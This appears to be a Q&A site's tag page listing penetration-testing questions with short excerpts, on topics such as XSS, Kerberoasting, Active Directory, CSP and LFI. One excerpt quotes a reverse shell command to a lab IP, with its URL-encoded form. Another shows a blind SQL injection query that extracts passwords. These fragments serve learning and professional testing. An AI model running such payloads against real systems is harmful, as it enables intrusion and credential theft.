Questions tagged [penetration-test]
An attempt to penetrate a system's security in an effort to evaluate the protections in place.
1,263
questions
0
votes
1
answer
62
views
Full disk encryption with LUKS?
I encrypted my Ubuntu Desktop 20.04.3 with LVM/LUKS during the installation process. If I turn off the computer, is the brute force the only attack available for getting the password and accessing the ...
2
votes
2
answers
446
views
Anonymous unasked bounty hunter wants bounty for found issues
A bounty hunter reached out to us to give us information about a security vulnerability in our company's information systems. In our estimation, the risk of exploitation for this vulnerability is ...
- 23
0
votes
0
answers
27
views
Can you perform a penetration test on a web application that is running on local host and using an XAMPP server? [closed]
I created a basic website that includes a login and signup system. The website uses a mySQL server as the backend to store login information. I want to use Kali Linux to perform a white box test on it ...
- 1
0
votes
0
answers
30
views
How to test the reaction of an outsourced DDoS protection provider to a DDoS attack, similar to a red teaming engagement?
I work in a security/pentesting company and in the last year the demand for DDoS testing has dramatically increased. The issue is that the customer is not interested in what I call a mislabeled load ...
1
vote
1
answer
78
views
Dos and don'ts during a pentest [closed]
I will be attempting my first real pentest as a junior pentester in a company (not a CTF). It will be on a web app.
For a first pentest do you think it is sufficient to just follow the OWASP Guide and ...
- 61
0
votes
4
answers
253
views
Is Wifi Penetration Testing Dead?
"I hack your Wifi in 5 Minutes" still seems to be a hot topic on youtube in 2023, atleast on beginner channels like David Bombal. However, is there still any real world application? Even ...
- 1
0
votes
0
answers
18
views
What is the best way to spin up vulnerable machines for training purposes? [duplicate]
I am trying to realize which is the best option to have somewhere installed vulnerable virtual machines and run them whenever you want for Pentest training or other cloudtesting purposes.
Maybe this ...
- 157
0
votes
0
answers
36
views
MobSF Android Activity APK Pentest
it is my first time with MobSF and Android APK assessment. I have found something while testing a specific APK and I am trying to understand the concept behind it:
Under HARDCODED_SECRETS in MobSF, ...
- 1
0
votes
0
answers
22
views
How to leverage GenericAll privilege on a machine account without RBCD?
Suppose a domain user has a GenericAll permission on a machine account, but the computer tied to that machine account is inaccessible, and that same machine account has a GenericAll privilege over a ...
- 1
1
vote
0
answers
29
views
What are some effective strategies to pentest a native code library?
The vast majority of resources out there about penetration testing applications is about web and mobile applications; in some cases there are resources about so-called "native applications" ...
- 1,069
1
vote
1
answer
71
views
What added value would an internal technical pentest have for a small barebones office with basic protections?
Assuming that a small office where basic security hygiene is already applied wants to improve their security posture, would such an office benefit from a technical internal pentest ?
Such an office's ...
- 1,599
1
vote
0
answers
51
views
How to inform the owner of a site about a vulnerability if there is no feedback form? [closed]
Recently, I noticed several resources that may be in danger, but I did not find a feedback form or email or another way to contact the owner and warn. How can I notify the owners?
DoS seems to me a ...
- 11
1
vote
1
answer
69
views
Impact of port scanning on the web domain itself
I was learning about port scanning and I understand, what, why and how.
However, I do not understand why a Bug Bounty hunter or a penetration tester (strictly for web app assessment) would run a port ...
- 41
0
votes
0
answers
32
views
XSS reflected in a parameter via POST (Body)
In the last few days, I received a challenge. This challenge was based on an XSS vulnerability reflected in a website.
When the site makes a certain request via POST, in the body there is a parameter ...
12
votes
2
answers
4k
views
In the RoE for a pentest, do you include a list of all tools?
As the title says, in the rules of engagement I have my scope, used method, etc. but I've been wondering if I should also include a list of tools (such as NMAP, Dirb/Ffuf, etc.) that might be used.
...
- 123
1
vote
1
answer
250
views
Abusing Shell Feature for Privilege Escalation
This was covered in Linux PrivEsc, task 15, in this TryHackMe room.
I am having trouble understanding how this debugging mode is executing the commands in the PS4 variable, and why I must put /usr/...
- 181
1
vote
0
answers
44
views
Is there any guideline or procedure for 4G hardware equipement (4G landline phone and home Wifi router) security audit/assessment?
I need to perform a security audit/assessment on 4G LTE hardware equimements :
4G landline wireless phone (not android OS but with many features such as WiFi hotspot)
4G Wifi home router
Is there ...
- 359
0
votes
1
answer
102
views
Should a standard user in a AD domain be able to open cmd prompt as Administrator?
I was given a standard non-admin user and a workstation to perform internal pentest assessment. To my surprise, I was able to open cmd prompt as administrator, use psexec and gain a SYSTEM shell ...
- 115
0
votes
1
answer
128
views
How to bypass XMLRPC lockout policy?
I'm trying to pentest a Wordpress box that has the XMLRPC endpoint enabled, but it seems to have additional security measures in place that institute IP-based lockout for 24 hours after one failed ...
- 123
1
vote
1
answer
1k
views
Run Responder using proxychains on a remote network
Is it possible to run Responder as a flag in the proxychains program when I do some penetration testing activities, such as nmap and crackmapexec in the enumeration process?
Responder command example :...
-2
votes
1
answer
112
views
What are the official phases of penetration testing? [duplicate]
I tried to search for the phases of penetration testing, but I found lots of articles, and each article defines this in a different way, some have 5 phases, some 6, and others 7!
What I am looking for ...
0
votes
0
answers
111
views
Risk to perform a Penetration Testing in production environment
Let's say I have a web server exposed on Internet that deals with confidential data and it has high requirements in terms of integrity and availability.
What are the risks to perform a penetration ...
- 101
0
votes
0
answers
171
views
How to Scan Firebase Database?
I have the APK of an application and analyzed it using MobSF static analysis. It says the application talks with Firebase Database and provides a URL.
Obviously, the URL is not accessible.
I am new to ...
- 7
2
votes
1
answer
91
views
Defining scope of a software pen test
If I own a software and I want to conduct a pen test with pen testers, should I define the scope or do the pen testers assess the software first and they define the scope? How does scope definition ...
0
votes
1
answer
230
views
Scanning for SMBGhost vulnerability
I am a university student currently trying to demonstrate exploitation of the SMBGhost Vulnerability on Windows 10 (Version: 1903, Build Number: 18362.356). I need to provide evidence that the ...
0
votes
1
answer
91
views
What is the wisdom of using the ASCII function in exploit SQLi?
I mean, I can exploit the vulnerability using a substring function and without using an ASCII function like:
SELECT username FROM users WHERE id = 1 AND (SELECT substring(password,1,1) FROM users ...
0
votes
0
answers
23
views
Disguising Device Information During IP and Open Port Scans
I am getting into the field of penetration testing and had a question about device information scans. I know that you can scan all of the devices on a network and scan for open ports, and in the ...
0
votes
1
answer
320
views
TGS Ticket in Kerberoasting
In kerberoasting , User request service ticket for any service with registered SPN then use the ticket to crack service password.
But in kerberoses authentication process , KRB_TGS_REQ request is ...
0
votes
0
answers
22
views
Abusing Saved mscash2 Credentials in Active Directory
Is it possible, with NT Authority/SYSTEM access, to reuse mscash2 credentials in any way on a local system or AD network? Perhaps with runas /savecred or mimikatz or something similar? I know that the ...
2
votes
2
answers
90
views
File inclusion exposed passwords
I am confused about LFI where I have seen many broken web-app demos demonstrate LFI where they traverse to a directory similar to /etc/passwd. How are these passwords being stored exactly? I do not ...
- 197
2
votes
1
answer
88
views
Which CSP implementation is more secure?
While implementing CSP, there are two options.
Implement CSP in the HTTP response header
Implement CSP using a meta tag <meta http-equiv="Content-Security-Policy" content="default-...
- 189
0
votes
1
answer
93
views
Is this CSP implementation is secure?
I face a CSP header something like this -
default-src https:; font-src https: data:; img-src https: data:; script-src https: 'unsafe-inline' 'unsafe-eval'; style-src https: 'unsafe-inline';
So is this ...
- 195
0
votes
1
answer
215
views
Detecting XSS when Payload is only Triggered on Another Page
I am trying to detect the presence of a blind/stored XSS vulnerability of an input field. The vulnerability does not trigger on page 'A' where the payload is injected.
It is likely due to the fact ...
- 101
0
votes
0
answers
131
views
sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response
This is the reverse shell I'm using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+
It used to work just fine and I'd ...
- 1
0
votes
1
answer
117
views
Benefits of same origin policy
I am trying to understand what does SOP mean? If there are two sites such as example1.com and examole2.com what are the dangers can one of them cause to the other? Like stealing what, received what?...
0
votes
1
answer
225
views
Some introductory reverse engineering help on finding a string
I understand the crackme I am researching is from 2007, however this was the point in my life when I initially became interested in reverse engineering and wish to complete it for nostalgia sake. ...
- 181
0
votes
1
answer
221
views
Verifying IP addresses during pentest
When conducting an external pentest and the scope is broad covering everything owned by the client, how would you verify if the enumerated IP addresses belong to a client? Running 'nslookup' on the IP ...
- 155
0
votes
0
answers
118
views
Requiring Google Mobile Service token
I'm pentesting an android application written in Cordova and while inspecting the network traffic I found some interesting endpoint that I would like to test.
However, this endpoint need a tokenID (ex....
- 101
0
votes
0
answers
280
views
Is it possibile to interact with firebase database using credentials obtained from an APK?
during the static analysis while pentesting an android application I found the following information to connect to a firebase instance.
<string name="google_app_id">1:**REDACTED**:...
- 101
0
votes
1
answer
413
views
Should analytics cookies be HttpOnly?
Should ga gid gat and Fbp cookies be flagged as Secure and HttpOnly?
Is there a way an attacker can use them if accessed?
- 79
0
votes
2
answers
363
views
Why is it not worth to exploit a search function on a website
I have a website that has a search function that uses the GET method.
It returns in the url that "www.xxx.com/query?=something"
Would like to seek opinions on why such a function is not ...
2
votes
0
answers
120
views
Does Windows Server ship with any sensitive images in the filesystem?
I'm working with an interesting vulnerability I found which enables local file inclusion (LFI) on a target server. In summary, there is a PDF generation API endpoint which accepts an HTML string as ...
- 21
1
vote
1
answer
109
views
How to perform external network scans that will not cause DoS?
What are some tools or techniques that could be used in external network penetration testing to perform safe scans only that are designed to cause no DoS (Denial of Service) or other interruptions? Or ...
- 11
0
votes
1
answer
873
views
How to pentest oAuth2/oidc clients
imagine the following problem:
As a developer, I would like to check if my oAuth2 or OpenID Connect client is really secure.
I would like to check if it validates the JWT signature, uses the nonce etc....
- 2,483
11
votes
2
answers
5k
views
Tips on performing a web penetration testing on a static website
No idea where to begin, I would like to ask for tips, direction and approaches when it comes to performing such a web testing.
Source code analysis is not within scope for this test. I intend to run ...
0
votes
2
answers
274
views
CSRF attack when form data isn't parsed
How can you do a CRSF attack on express if it only accepts JSON?
Sample Node app:
const express = require('express');
const app = express();
app.use(express.json());
app.post('/item', (req, res, ...
1
vote
1
answer
311
views
Ways to exploit AD in context of Domain Computer account not as Domain user account?
There are hundreds of articles if we search "how to exploit AD Environment?" but if you read them, you will find that every article focuses on the context of the domain user Account.
Now I ...
- 31
3
votes
1
answer
3k
views
Stored XSS Cookie Stealing - shortest payload
I'm testing a web app (for which I have permissions) and I found a stored XSS vulnerability.
It is a little bit tricky to exploit because the input:
is being capitalized
it has a length constraint of ...
- 133
1
vote
2
answers
262
views
What is a secure way to log onto the domain controller?
On a pentest we found that a kerberos ticket under account name administrator was cached on one of the SQL database servers, which allowed us to steal the ticket, pass-the-ticket and log onto the ...
- 485
2
votes
1
answer
368
views
Identify crash-inducing NVT in OpenVAS
I'm currently scanning a network using OpenVAS / Greenbone Security Assistant installed on Kali Linux.
During the scan, multiple targets have crashed. This is obviously something I want to investigate....
- 83